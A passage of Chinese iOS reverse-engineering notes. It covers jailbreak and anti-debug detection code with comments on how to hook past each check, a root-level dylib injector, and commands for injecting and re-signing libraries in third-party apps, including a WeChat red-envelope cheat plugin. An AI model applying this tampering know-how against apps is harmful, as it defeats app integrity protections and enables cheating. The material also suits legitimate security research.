    if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
        return YES;
    }
    return NO;
}

BOOL directoryExist(NSString* path)
{
    NSFileManager *fileManager = [NSFileManager defaultManager];
    BOOL isDirectory = YES;
    if([fileManager fileExistsAtPath:path isDirectory:&isDirectory]){
        return YES;
    }
    return NO;
}

BOOL canOpen(NSString* path)
{
    FILE *file = fopen([path UTF8String], "r");
    if(file==nil){
        return fileExist(path) || directoryExist(path);
    }
    fclose(file);
    return YES;
}

#pragma mark 使用NSFileManager通过检测一些越狱后的关键文件是否可以访问来判断是否越狱
// 检测越狱
BOOL JCheckKuyt()
{
    
    if(TARGET_IPHONE_SIMULATOR)return NO;

    //Check cydia URL hook canOpenURL 来绕过
    if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.avl.com"]])
    {
        return YES;
    }

    if([[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://package/com.example.package"]])
    {
        return YES;
    }

    NSArray* checks = [[NSArray alloc] initWithObjects:@"/Application/Cydia.app",
                       @"/Library/MobileSubstrate/MobileSubstrate.dylib",
                       @"/bin/bash",
                       @"/usr/sbin/sshd",
                       @"/etc/apt",
                       @"/usr/bin/ssh",
                       @"/private/var/lib/apt",
                       @"/private/var/lib/cydia",
                       @"/private/var/tmp/cydia.log",
                       @"/Applications/WinterBoard.app",
                       @"/var/lib/cydia",
                       @"/private/etc/dpkg/origins/debian",
                       @"/bin.sh",
                       @"/private/etc/apt",
                       @"/etc/ssh/sshd_config",
                       @"/private/etc/ssh/sshd_config",
                       @"/Applications/SBSetttings.app",
                       @"/private/var/mobileLibrary/SBSettingsThemes/",
                       @"/private/var/stash",
                       @"/usr/libexec/sftp-server",
                       @"/usr/libexec/cydia/",
                       @"/usr/sbin/frida-server",
                       @"/usr/bin/cycript",
                       @"/usr/local/bin/cycript",
                       @"/usr/lib/libcycript.dylib",
                       @"/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist",
                       @"/System/Library/LaunchDaemons/com.ikey.bbot.plist",
                       @"/Applications/FakeCarrier.app",
                       @"/Library/MobileSubstrate/DynamicLibraries/Veency.plist",
                       @"/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist",
                       @"/usr/libexec/ssh-keysign",
                       @"/usr/libexec/sftp-server",
                       @"/Applications/blackra1n.app",
                       @"/Applications/IntelliScreen.app",
                       @"/Applications/Snoop-itConfig.app"
                       @"/var/lib/dpkg/info", nil];
    //Check installed app
    for(NSString* check in checks)
    {
        if(canOpen(check))
        {
            return YES;
        }
    }
    //symlink verification
    struct stat sym;
    // hook lstat可以绕过
    if(lstat("/Applications", &sym) || lstat("/var/stash/Library/Ringtones", &sym) ||
       lstat("/var/stash/Library/Wallpaper", &sym) ||
       lstat("/var/stash/usr/include", &sym) ||
       lstat("/var/stash/usr/libexec", &sym)  ||
       lstat("/var/stash/usr/share", &sym) ||
       lstat("/var/stash/usr/arm-apple-darwin9", &sym))
    {
        if(sym.st_mode & S_IFLNK)
        {
            return YES;
        }
    }
  

    //Check process forking
    // hook fork
    int pid = fork();
    if(!pid)
    {
        exit(1);
    }
    if(pid >= 0)
    {
        return YES;
    }

  
//     check has class only used in breakJail like HBPreferences. 越狱常用的类,这里无法绕过,只要多找一些特征类就可以,注意,很多反越狱插件会混淆,所以可能要通过查关键方法来识别
    NSArray *checksClass = [[NSArray alloc] initWithObjects:@"HBPreferences",nil];
    for(NSString *className in checksClass)
    {
      if (NSClassFromString(className) != NULL) {
        return YES;
      }
    }
  
//    Check permission to write to /private hook FileManager 和 writeToFile来绕过
    NSString *path = @"/private/avl.txt";
    NSFileManager *fileManager = [NSFileManager defaultManager];
    @try {
        NSError* error;
        NSString *test = @"AVL was here";
        [test writeToFile:path atomically:NO encoding:NSStringEncodingConversionAllowLossy error:&error];
        [fileManager removeItemAtPath:path error:nil];
        if(error==nil)
        {
            return YES;
        }

        return NO;
    } @catch (NSException *exception) {
        return NO;
    }
}

BOOL isInjectedWithDynamicLibrary()
{
  unsigned int outCount = 0;
  const char **images =  objc_copyImageNames(&outCount);
  for (int i = 0; i < outCount; i++) {
      printf("%s\n", images[i]);
  }
  
  
  int i=0;
    while(true){
        // hook _dyld_get_image_name方法可以绕过
        const char *name = _dyld_get_image_name(i++);
        if(name==NULL){
            break;
        }
        if (name != NULL) {
          NSString *libName = [NSString stringWithUTF8String:name];
          if ([sDylibSet containsObject:libName]) {
            return YES;
          }

        }
    }
    return NO;
}

#pragma mark 通过环境变量DYLD_INSERT_LIBRARIES检测是否越狱
BOOL dyldEnvironmentVariables ()
{
    if(TARGET_IPHONE_SIMULATOR)return NO;
    return !(NULL == getenv("DYLD_INSERT_LIBRARIES"));
}

#pragma mark 校验当前进程是否为调试模式,hook sysctl方法可以绕过
// Returns true if the current process is being debugged (either
// running under the debugger or has a debugger attached post facto).
// Thanks to https://developer.apple.com/library/archive/qa/qa1361/_index.html
BOOL isDebugged()
{
    int junk;
    int mib[4];
    struct kinfo_proc info;
    size_t size;
    info.kp_proc.p_flag = 0;
    mib[0] = CTL_KERN;
    mib[1] = KERN_PROC;
    mib[2] = KERN_PROC_PID;
    mib[3] = getpid();
    size = sizeof(info);
    junk = sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0);
    assert(junk == 0);
    return ( (info.kp_proc.p_flag & P_TRACED) != 0 );
}

#pragma mark 使用stat通过检测一些越狱后的关键文件是否可以访问来判断是否越狱,hook stat 方法和dladdr可以绕过
BOOL isStatNotSystemLib() {
    if(TARGET_IPHONE_SIMULATOR)return NO;
    int ret ;
    Dl_info dylib_info;
    int (*func_stat)(const char *, struct stat *) = stat;
    if ((ret = dladdr(func_stat, &dylib_info))) {
        NSString *fName = [NSString stringWithUTF8String: dylib_info.dli_fname];
        if(![fName isEqualToString:@"/usr/lib/system/libsystem_kernel.dylib"]){
            return YES;
        }
    }
    
    for (int i = 0;i < sizeof(JbPaths) / sizeof(char *);i++) {
        struct stat stat_info;
        if (0 == stat(JbPaths[i], &stat_info)) {
            return YES;
        }
    }
    
    return NO;
}

typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data);

#if !defined(PT_DENY_ATTACH)
#define PT_DENY_ATTACH 31
#endif

// 禁止gdb调试
- (void) disable_gdb {
    if(TARGET_IPHONE_SIMULATOR)return;
    void* handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW);
    ptrace_ptr_t ptrace_ptr = dlsym(handle, "ptrace");
    ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0);
    dlclose(handle);
}

@end

iOS逆向App流程

1. Clutch、frida, CrackXI 砸壳ipa;

2. class-dump导出class类头文件;

3. Reveal、Cycript, FLEX分析界面;

4. 分析类关系、函数调用逻辑,尝试进行hook;

5. theos调试、编译、打包、注入dylib;

6. codesign重签名、发布;

debugserver - iOS逆向调试

一 lldb调试原理:debugserver xcode的lldb之所以能调试app,是因为手机运行app,lldb会把调试指令发给手机的debugServer; debugServer是由Xcode第一次运行程序给安装到手机上。

Xcode上查看debugserver: 按住command键点击Xcode,找到xcode.app显示包内容/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport/15.0 找到DeveloperDiskImage.dmg 里的usr -> bin -> debugserver

手机的根目录下的 Developer -> usr -> bin 里能找到debugserver,越狱手机可以查看 越狱环境下,lldb连接手机的debugserver,然后就可以通过debugserver调试某个app

debugserver如何调试app?

ptrace函数

debugserver通过ptrace函数调试app ptrace是系统函数,此函数提供一个进程去监听和控制另一个进程, 并且可以检测被控制进程的内存和寄存器里面的数据。ptrace可以用来实现断点调试和系统调用跟踪。

FutureRestore-GUI: https://github.com/CoocooFroggy/FutureRestore-GUI

命令行安装FutureRestore-GUI

Mac利用brew命令行安装

macOS: brew install futurerestore-gui

Windows利用winget命令行安装

Windows: winget install futurerestore-gui

-----------------------------------

iOS内嵌内嵌汇编指令 - ios-syscalls

1	__exit
2	fork
3	read
4	write
5	__open
6	close
7	__wait4
9	_kernelrpc_mach_vm_allocate_trap
9	link
10	__unlink
11	_kernelrpc_mach_vm_deallocate_trap
12	chdir
13	_kernelrpc_mach_vm_protect_trap
13	fchdir
14	_kernelrpc_mach_vm_map_trap
14	mknod
15	__chmod
15	_kernelrpc_mach_port_allocate_trap
16	_kernelrpc_mach_port_destroy_trap
16	chown
17	_kernelrpc_mach_port_deallocate_trap
18	_kernelrpc_mach_port_mod_refs_trap
19	_kernelrpc_mach_port_move_member_trap
20	_kernelrpc_mach_port_insert_right_trap
21	_kernelrpc_mach_port_insert_member_trap
22	_kernelrpc_mach_port_extract_member_trap
23	_kernelrpc_mach_port_construct_trap
23	setuid
24	_kernelrpc_mach_port_destruct_trap
24	getuid
25	geteuid
25	mach_reply_port
26	thread_self_trap
27	__recvmsg
27	__recvmsg
27	task_self_trap
28	__sendmsg
28	__sendmsg
28	host_self_trap
29	__recvfrom
29	__recvfrom
30	__accept
30	__accept
30	mach_msg_trap
31	__getpeername
31	__getpeername
31	mach_msg_overwrite_trap
32	__getsockname
32	__getsockname
32	semaphore_signal_trap
33	access
33	semaphore_signal_all_trap
34	chflags
34	semaphore_signal_thread_trap
35	fchflags
35	semaphore_wait_trap
36	semaphore_wait_signal_trap
36	sync
37	__kill
37	semaphore_timedwait_trap
38	semaphore_timedwait_signal_trap
39	getppid
40	_kernelrpc_mach_port_guard_trap
41	_kernelrpc_mach_port_unguard_trap
41	dup
43	getegid
43	task_name_for_pid
44	task_for_pid
45	pid_for_task
46	__sigaction
47	getgid
47	macx_swapon
48	macx_swapoff
48	sigprocmask
49	__getlogin
50	__setlogin
50	macx_triggers
51	acct
51	macx_backing_store_suspend
52	macx_backing_store_recovery
52	sigpending
53	__sigaltstack
54	__ioctl
55	reboot
56	revoke
57	symlink
58	readlink
58	swtch_pri
59	execve
59	swtch
60	syscall_thread_switch
60	umask
61	chroot
61	clock_sleep_trap
65	__msync
65	__msync
73	__munmap
74	__mprotect
74	__mprotect
75	madvise
75	madvise
78	mincore
79	getgroups
80	setgroups
81	getpgrp
82	setpgid
83	setitimer
85	swapon
86	getitimer
88	mach_timebase_info
89	getdtablesize
89	mach_wait_until
90	dup2
90	mk_timer_create
91	mk_timer_destroy
92	__fcntl
92	mk_timer_arm
93	__select
93	__select
93	mk_timer_cancel
95	fsync
96	__setpriority
97	socket
98	__connect
98	__connect
100	getpriority
104	__bind
104	__bind
105	setsockopt
106	__listen
106	__listen
111	__sigsuspend
117	getrusage
118	getsockopt
120	readv
121	writev
122	__settimeofday
123	fchown
124	__fchmod
126	__setreuid
126	__setreuid
127	__setregid
127	__setregid
128	__rename
131	flock
132	mkfifo
133	__sendto
133	__sendto
134	shutdown
135	__socketpair
135	__socketpair
136	mkdir
137	__rmdir
138	utimes
139	futimes
140	adjtime
142	__gethostuuid
147	setsid
148	setquota
149	quota
151	getpgid
152	setprivexec
153	pread
154	pwrite
155	nfssvc
159	unmount
161	getfh
165	quotactl
167	mount
169	csops
170	csops_audittoken
173	waitid
178	__kdebug_trace_string
179	__kdebug_trace64
180	__kdebug_trace
181	setgid
182	setegid
183	seteuid
184	__sigreturn
185	__chud
187	fdatasync
191	pathconf
192	fpathconf
194	__getrlimit
195	__setrlimit
196	getdirentries
197	__mmap
199	__lseek
199	__lseek
200	truncate
201	ftruncate
202	__sysctl
203	mlock
204	munlock
205	undelete
216	__open_dprotected_np
220	__getattrlist
220	__getattrlist
221	__setattrlist
221	__setattrlist
222	getdirentriesattr
223	exchangedata
225	searchfs
226	__delete
227	__copyfile
228	fgetattrlist
229	fsetattrlist
230	poll
231	watchevent
232	waitevent
233	modwatch
234	getxattr
235	fgetxattr
236	setxattr
237	fsetxattr
238	removexattr
239	fremovexattr
240	listxattr
241	flistxattr
242	fsctl
243	__initgroups
244	__posix_spawn
245	ffsctl
247	nfsclnt
248	fhopen
250	minherit
251	__semsys
252	__msgsys
253	__shmsys
254	__semctl
255	semget
256	semop
258	__msgctl
258	__msgctl
259	msgget
260	msgsnd
261	msgrcv
262	shmat
263	__shmctl
263	__shmctl
264	shmdt
265	shmget
266	__shm_open
267	shm_unlink
268	__sem_open
269	sem_close
270	sem_unlink
271	sem_wait
272	sem_trywait
273	sem_post
274	__sysctlbyname
277	__open_extended
278	__umask_extended
279	__stat_extended
280	__lstat_extended
281	__fstat_extended
282	__chmod_extended
283	__fchmod_extended
284	__access_extended
284	__access_extended
285	__settid
285	__settid
286	__gettid
286	__gettid
287	__setsgroups
287	__setsgroups
288	__getsgroups
288	__getsgroups
289	__setwgroups
289	__setwgroups
290	__getwgroups
290	__getwgroups
291	__mkfifo_extended
292	__mkdir_extended
293	__identitysvc
294	__shared_region_check_np
296	vm_pressure_monitor
297	__psynch_rw_longrdlock
298	__psynch_rw_yieldwrlock
299	__psynch_rw_downgrade
300	__psynch_rw_upgrade
301	__psynch_mutexwait
302	__psynch_mutexdrop
303	__psynch_cvbroad
304	__psynch_cvsignal
305	__psynch_cvwait
306	__psynch_rw_rdlock
307	__psynch_rw_wrlock
308	__psynch_rw_unlock
309	__psynch_rw_unlock2
310	getsid
311	__settid_with_pid
312	__psynch_cvclrprepost
313	aio_fsync
314	aio_return
315	aio_suspend
316	aio_cancel
317	aio_error
318	aio_read
319	aio_write
320	lio_listio
322	__iopolicysys
323	__process_policy
324	mlockall
325	munlockall
327	issetugid
328	__pthread_kill
329	__pthread_sigmask
330	__sigwait
331	__disable_threadsignal
332	__pthread_markcancel
333	__pthread_canceled
334	__semwait_signal
336	__proc_info
337	sendfile
338	stat
338	stat
339	fstat
339	fstat
340	lstat
340	lstat
341	__stat64_extended
342	__lstat64_extended
343	__fstat64_extended
344	__getdirentries64
345	statfs
345	statfs
346	fstatfs
346	fstatfs
347	getfsstat
347	getfsstat
348	__pthread_chdir
349	__pthread_fchdir
350	audit
351	auditon
353	getauid
354	setauid
357	getaudit_addr
358	setaudit_addr
359	auditctl
360	__bsdthread_create
361	__bsdthread_terminate
362	kqueue
363	kevent
364	__lchown
364	__lchown
365	__stack_snapshot
366	__bsdthread_register
367	__workq_open
368	__workq_kernreturn
369	kevent64
370	__old_semwait_signal
371	____old_semwait_signal_nocancel
372	__thread_selfid
373	ledger
374	kevent_qos
380	__mac_execve
380	__mac_execve
381	__mac_syscall
381	__mac_syscall
382	__mac_get_file
383	__mac_set_file
384	__mac_get_link
385	__mac_set_link
386	__mac_get_proc
387	__mac_set_proc
387	__mac_set_proc
388	__mac_get_fd
389	__mac_set_fd
390	__mac_get_pid
396	__read_nocancel
396	__read_nocancel
397	__write_nocancel
397	__write_nocancel
398	__open_nocancel
399	__close_nocancel
399	__close_nocancel
400	__wait4_nocancel
400	__wait4_nocancel
401	__recvmsg_nocancel
401	__recvmsg_nocancel
402	__sendmsg_nocancel
402	__sendmsg_nocancel
403	__recvfrom_nocancel
403	__recvfrom_nocancel
404	__accept_nocancel
404	__accept_nocancel
405	__msync_nocancel
405	__msync_nocancel
406	__fcntl_nocancel
407	__select_nocancel
407	__select_nocancel
408	__fsync_nocancel
408	__fsync_nocancel
409	__connect_nocancel
409	__connect_nocancel
410	__sigsuspend_nocancel
411	__readv_nocancel
411	__readv_nocancel
412	__writev_nocancel
412	__writev_nocancel
413	__sendto_nocancel
413	__sendto_nocancel
414	__pread_nocancel
414	__pread_nocancel
415	__pwrite_nocancel
415	__pwrite_nocancel
416	__waitid_nocancel
416	__waitid_nocancel
417	__poll_nocancel
417	__poll_nocancel
418	__msgsnd_nocancel
418	__msgsnd_nocancel
419	__msgrcv_nocancel
419	__msgrcv_nocancel
420	__sem_wait_nocancel
420	__sem_wait_nocancel
421	__aio_suspend_nocancel
421	__aio_suspend_nocancel
422	____sigwait_nocancel
423	__semwait_signal_nocancel
424	__mac_mount
424	__mac_mount
425	__mac_get_mount
426	__mac_getfsstat
427	__fsgetpath
428	audit_session_self
429	audit_session_join
430	fileport_makeport
431	fileport_makefd
432	audit_session_port
433	pid_suspend
434	pid_resume
435	pid_hibernate
436	pid_shutdown_sockets
438	__shared_region_map_and_slide_np
439	kas_info
440	memorystatus_control
441	__guarded_open_np
442	guarded_close_np
443	guarded_kqueue_np
444	change_fdguard_np
446	proc_rlimit_control
447	connectx
448	disconnectx
449	peeloff
450	socket_delegate
451	__telemetry
452	proc_uuid_policy
453	memorystatus_get_level
454	system_override
455	vfs_purge
456	__sfi_ctl
457	__sfi_pidctl
458	__coalition
459	__coalition_info
460	necp_match_policy
461	getattrlistbulk
463	__openat
464	__openat_nocancel
465	__renameat
466	faccessat
467	fchmodat
468	fchownat
470	fstatat
470	fstatat
471	linkat
472	__unlinkat
473	readlinkat
474	symlinkat
475	mkdirat
476	getattrlistat
477	proc_trace_log
478	__bsdthread_ctl
479	openbyid_np
480	recvmsg_x
481	sendmsg_x
482	__thread_selfusage
483	__csrctl
484	__guarded_open_dprotected_np
485	guarded_write_np
486	guarded_pwrite_np
487	guarded_writev_np
488	__rename_ext
489	mremap_encrypted
490	netagent_trigger
491	__stack_snapshot_with_config
492	__microstackshot
493	grab_pgo_data
499	__work_interval_ctl

iOS动态库注入工具:cynject、yololib、insert_dylib、optool、install_name_tool

Cycript

cycript是大神saurik开发的一个非常强大的工具, 可以让开发者在命令行下和应用交互,在运行时查看和修改应用。 底层实现: 是通过苹果的JavaScriptCore.framework来打通iOS与javascript的桥梁(OC和JS互相调用)

-----------------------------------

install_name_tool 注入动态库 使用说明

 (1)@executable_path。这个path很少用,本质上就是可执行程序的路径。在动态库中基本上不使用这个path.

  (2) @loader_path。这个path在之前的应用中用的非常多,可以通过这个path来设置动态库的install path name。
  但是它有自己的局限性,就是当一个动态库同时被多个程序引用时,如果位置不一样的话仍然需要手动修改。这个在参考链接中有说明。  
  (3) @rpath  它是run path的缩写。本质上它不是一个明确的path,甚至可以说它不是一个path。
  它只是一个变量,或者叫占位符。这个变量通过XCode中的run path选项设置值,或者通过install_name_tool的-add_rpath设置值。
  设置好run path之后,所有的@rpath都会被替换掉。此外,run path是可以设置多个值的
  
INSTALL_NAME_TOOL(1)					      General Commands Manual					      INSTALL_NAME_TOOL(1)

NAME

       install_name_tool - change dynamic shared library install names

SYNOPSIS

       install_name_tool [-change old new ] ... [-rpath old new ] ... [-add_rpath new ] ... [-delete_rpath new ] ... [-id name] file

DESCRIPTION

       Install_name_tool  changes the dynamic shared library install names and or adds, changes or deletes the rpaths recorded in a Mach-O binary.
       For this tool to work when the install names or rpaths are larger the binary should be built with  the  ld(1)  -headerpad_max_install_names
       option.

       -change old new
	      Changes  the dependent shared library install name old to new in the specified Mach-O binary.  More than one of these options can be
	      specified.  If the Mach-O binary does not contain the old install name in a specified -change option the option is ignored.

       -id name
	      Changes the shared library identification name of a dynamic shared library to name.  If the Mach-O binary is not	a  dynamic  shared
	      library and the -id option is specified it is ignored.

       -rpath old new
	      Changes  the  rpath  path  name old to new in the specified Mach-O binary.  More than one of these options can be specified.  If the
	      Mach-O binary does not contain the old rpath path name in a specified -rpath it is an error.

       -add_rpath new
	      Adds the rpath path name new in the specified Mach-O binary.  More than one of these options can be specified.  If the Mach-O binary
	      already contains the new rpath path name specified in -add_rpath it is an error.

       -delete_rpath old
	      deletes  the  rpath  path  name old in the specified Mach-O binary.  More than one of these options can be specified.  If the Mach-O
	      binary does not contains the old rpath path name specified in -delete_rpath it is an error.

基于cynject注入dylib

#include <sys/cdefs.h>
#include <sys/types.h>
#include <sys/param.h>
#include <mach/mach.h>
#include <mach/boolean.h>
#include <dispatch/dispatch.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <spawn.h>
#include <assert.h>
extern char ***_NSGetEnviron(void);
extern int proc_listallpids(void *, int);
extern int proc_pidpath(int, void *, uint32_t);
static const char *cynject_path = "/usr/bin/cynject";
static const char *dispatch_queue_name = NULL;
static int process_buffer_size = 4096;
static pid_t process_pid = -1;
static boolean_t find_process(const char *name, pid_t *ppid_ret) {
    pid_t *pid_buffer;
    char path_buffer[MAXPATHLEN];
    int count, i, ret;
    boolean_t res = FALSE;
    
    pid_buffer = (pid_t *)calloc(1, process_buffer_size);
    assert(pid_buffer != NULL);
    
    count = proc_listallpids(pid_buffer, process_buffer_size);
    if (count) {
        for (i = 0; i < count; i++) {
            pid_t ppid = pid_buffer[i];
            
            ret = proc_pidpath(ppid, (void *)path_buffer, sizeof(path_buffer));
            if (ret < 0) {
                printf("(%s:%d) proc_pidinfo() call failed.\n", __FILE__, __LINE__);
                continue;
            }
            
            if (strstr(path_buffer, name)) {
                res = TRUE;
                *ppid_ret = ppid;
                break;
            }
        }
    }
    
    free(pid_buffer);
    return res;
}
static void inject_dylib(const char *name, pid_t pid, const char *dylib) {
    char **argv;
    char pid_buf[32];
    int res;
    pid_t child;
    
    argv = calloc(4, sizeof(char *));
    assert(argv != NULL);
    
    snprintf(pid_buf, sizeof(pid_buf), "%d", pid);
    
    argv[0] = (char *)name;
    argv[1] = (char *)pid_buf;
    argv[2] = (char *)dylib;
    argv[3] = NULL;
    
    printf("(%s:%d) calling \"%s %s %s\"\n", __FILE__, __LINE__, argv[0], argv[1], argv[2]);
    
    res = posix_spawn(&child, argv[0], NULL, NULL, argv, (char * const *)_NSGetEnviron());
    assert(res == 0);
    
    return;
}
int main(int argc, char *argv[]) {
    printf("***** pp_inject by piaoyun ***** \n");
    if (geteuid() != 0) {
        printf("FATAL: must be run as root.\n");
        return 1;
    }
    
    if (argc < 3 ) {
        printf("FATAL: ppinject <pid> <dylib>.\n");
        return 2;
    }
    
    const char *process_name = argv[1];
    const char *dylib_path = argv[2];
    
    
    printf("Creating queue...\n");
    dispatch_queue_t queue = dispatch_queue_create(dispatch_queue_name, 0);
    
    printf("Finding %s PID...\n", process_name);
    dispatch_async(queue, ^{ while (!find_process(process_name, &process_pid)); });
    
    printf("Waiting for queue to come back...\n");
    dispatch_sync(queue, ^{});
    
    printf("%s PID is %d\n", process_name, process_pid);
    
    printf("Injecting %s into %s...\n", dylib_path, process_name);
    inject_dylib(cynject_path, process_pid, dylib_path);
    
    return 0;
}

Mach-O注入/删除动态库 insert_dylib optool

如果要让现成的App,执行自己的代码可以通过注入动态库,

静态的注入可以使用optool工具修改MachO的Load Commands然后重签,

动态运行时可以使用dlopen 或 Bundle(path: "**.bundle").load()加载

通过 otool -L命令查看你生成的.dylib文件
otool -L ioswechatselectall.dylib

查看CPU框架
lipo -archs ioswechatselectall.dylib

首先要找到libsubstrate.dylib文件,该文件应该在/opt/thoes/lib/目录下,然后将其拷贝到与你生成的的.dylib一个目录下,通过下面的指令修改依赖,
install_name_tool -change /Library/Frameworks/CydiaSubstrate.framework/CydiaSubstrate @loader_path/libsubstrate.dylib wx.dylib

添加可执行文件的依赖
此处用的是insert_dylib 下载地址在https://github.com/Tyilo/insert_dylib
编译后,将其与其他两个文件拷贝到同一目录下

然后将其插入到执行文件中
1.将wx.dylib 和libsubstrate.dylib拷贝进你的WeChat.app 
2.记住要把WeChat_patched的名字改回来WeChat

@executable_path是一个环境变量,指的是二进制文件所在的路径

insert_dylib命令格式: ./insert_dylib 动态库路径 目标二进制文件

//注入动态库
./insert_dylib @executable_path/ioswechatselectall.dylib WeChat 
./yololib  Wechat wxhbts.dylib
//打包成ipa 
xcrun -sdk iphoneos PackageApplication -v WeChat.app -o `pwd`/WeChat.ipa

注入神器optool

编译获取
因为 optool 添加了 submodule,因为需要使用 --recuresive 选项,将子模块全部 clone 下来
git clone --recursive https://github.com/alexzielenski/optool.git
cd optool
xcodebuild -project optool.xcodeproj -configuration Release ARCHS="i386 x86_64" build

使用 optool 把 wx.dylib 注入到二进制文件中

./optool install -c load -p "@executable_path/wx.dylib" -t WeChat

codesign签名dylib

errSecInternalComponent 错误
在Mac终端上运行codesign命令,并“始终允许” /usr/bin/codesign访问密钥
security unlock-keychain login.keychain
解锁命令移至,~/.bash_profile以便在SSH客户端启动时对钥匙串进行解锁
AppleWWDRCAG3 不收信任证书
获取证书
security find-identity -v -p codesigning 
签名Dylib 
codesign -f -s B3C14FC452E835C09B70D5C24961EBAFC0A2C4B9 hook.dylib 
ldid -S dumpdecrypted.dylib
1.安装 Xcode 
2.安装 Command Line Tools 
xcode-select --install 
codesign --force --deep --sign - /xxx/xxx.app 
签名错误 resource fork, Finder information, or similar detritus not allowed 
解决方法 xattr -lr <path_to_app_bundle> 
查看 xattr -cr <path_to_app_bundle> 删除 
或者 find . -type f -name '*.jpeg' -exec xattr -c {} \; find . -type f -name '*.png' -exec xattr -c {} \; 
find . -type f -name '*.tif' -exec xattr -c {} \; 
整个App签名 codesign -fs "授权证书" --no-strict --entitlements=生成的plist文件 WeChat.app 
验证Dylib签名 codesign –verify hook.dylib codesign -vv -d WeChat.app

Xcode升级到8.3后 用命令进行打包 提示下面这个错误
后面根据对比发现新版的Xcode少了这个PackageApplication  (QQ群下载)
先去找个旧版的Xcode里面copy一份过来
放到下面这个目录:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/

然后执行命令
sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/

chmod +x /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/PackageApplication

theos

ARCHS = armv7 armv7s arm64
TARGET = iphone:8.4:7.0
#指定路径,否则默认在 /Library/MobileSubstrate/DynamicLibraries
LOCAL_INSTALL_PATH = /usr/bin
include theos/makefiles/common.mk
TWEAK_NAME = oooo
oooo_FILES = oooo.xm
#指定版本
_THEOS_TARGET_LDFLAGS += -current_version 1.0
_THEOS_TARGET_LDFLAGS += -compatibility_version 1.0
#tweak2.mk是我修改过的,去掉了CydiaSubstrate链接,因为这个dylib用不到
include $(THEOS_MAKE_PATH)/tweak2.mk
-current_version、-compatibility_version参数参考自苹果官方!!
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/CreatingDynamicLibraries.html

theos编译不越狱可用的dylib

SUBSTRATE ?= yes
instance_USE_SUBSTRATE = $(SUBSTRATE)
把上面的instance替换成你的TweakName
在上面的这个例子中就是XXXX 
include _USE_SUBSTRATE = no,请转换为使用include _LOGOS_DEFAULT_GENERATOR = internal
编译:make SUBSTRATE=no
编译DEB:make SUBSTRATE=no package
编译DEB并安装:make SUBSTRATE=no package  install

打包deb

find . -name .DS_Store -print0 | xargs -0 git rm -f --ignore-unmatch
echo .DS_Store >> ~/.gitignore
xcode-select --install 
sudo xcodebuild -license    手动输入 agree
安装 Macports ,网址:http://www.macports.org/install.php
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
sudo port -f install dpkg
dpkg 降级
brew remove dpkg  
HOMEBREW_NO_AUTO_UPDATE=1 brew install https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb
brew pin dpkg 
$ brew remove dpkg  
# remove latest dpkg 
$ brew install --force-bottle https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb  
# install dpkg as a bottle from the old commit 
$ brew pin dpkg  
# block homebrew from updating dpkg till you `brew unpin dpkg`
postinst写法(直接复制)(权限755)
#!/bin/bash
mkdir -p /private/var/mobile/Documents/
chown -R mobile:mobile /private/var/mobile/Documents/
/bin/su -c uicache mobile
cd Desktop
sudo chmod -R 755 *
dpkg-deb -Z gzip -b ./{标识符} 
dpkg-deb -Z xz -b ./{标识符}
mac 解包 打包
dpkg-deb -x ./abc.deb ./tmp
dpkg-deb -e ./abc.deb ./tmp/DEBIAN
dpkg-deb -b ./tmp false8.deb
解包.sh
#!/bin/sh
dpkg-deb -x ./a.deb ./a
dpkg-deb -e ./a.deb ./a/DEBIAN
chmod -R 755 ./a/DEBIAN
打包.sh
#!/bin/sh
find . -name '*.DS_Store' -type f -delete
dpkg-deb -Z lzma -b ./a b.deb

optool神器就是命令行注入

optool install -c load -p "@executable_path/RedEnvelop.dylib" -t WeChat
//这就是给WeChat加载抢红包插件

//如果要unstall,要这样:
optool uninstall -p "@executable_path/RedEnvelop.dylib" -t WeChat

//具体 dylib 的路径可以用 otool 查看:
otool -L WeChat
使用方法:

  install -c <command> -p <payload> -t <target> [-o=<output>] [-b] [--resign] In
  serts an LC_LOAD command into the target binary which points to the payload. T
  his may render some executables unusable.

  uninstall -p <payload> -t <target> [-o=<output>] [-b] [--resign] Removes any L
  C_LOAD commands which point to a given payload from the target binary. This ma
  y render some executables unusable.

  strip [-w] -t <target> Removes a code signature load command from the given bi
  nary.

  restore -t <target> Restores any backup made on the target by this tool.

  aslr -t <target> [-o=<output>] [-b] [--resign] Removes an ASLR flag from the m
  acho header if it exists. This may render some executables unusable


可选的:
  [-w --weak] Used with the STRIP command to weakly remove the signature. Withou
  t this, the code signature is replaced with null bytes on the binary and its L
  OAD command is removed.

  [--resign] Try to repair the code signature after any operations are done. Thi
  s may render some executables unusable.

  -t|--target <target> Required of all commands to specify the target executable
   to modify

  -p|--payload <payload> Required of the INSTALL and UNINSTALL commands to speci
  fy the path to a DYLIB to point the LOAD command to

  [-c --command] Specify which type of load command to use in INSTALL. Can be re
  export for LC_REEXPORT_DYLIB, weak for LC_LOAD_WEAK_DYLIB, upward for LC_LOAD_
  UPWARD_DYLIB, or load for LC_LOAD_DYLIB

  [-b --backup] Backup the executable to a suffixed path (in the form of _backup
  .BUNDLEVERSION)

  [-h --help] Show this message

-----------------------------------

解除网页禁止复制粘贴

如果发现网页无法选择文字, 找到你要复制文字的地方, 显示源代码: 找到-webkit-user-select字段

-webkit-user-select: none

如果有,将其去掉保存刷新

-----------------------------------

Needle绕过iOS越狱检测

Needle使用教程

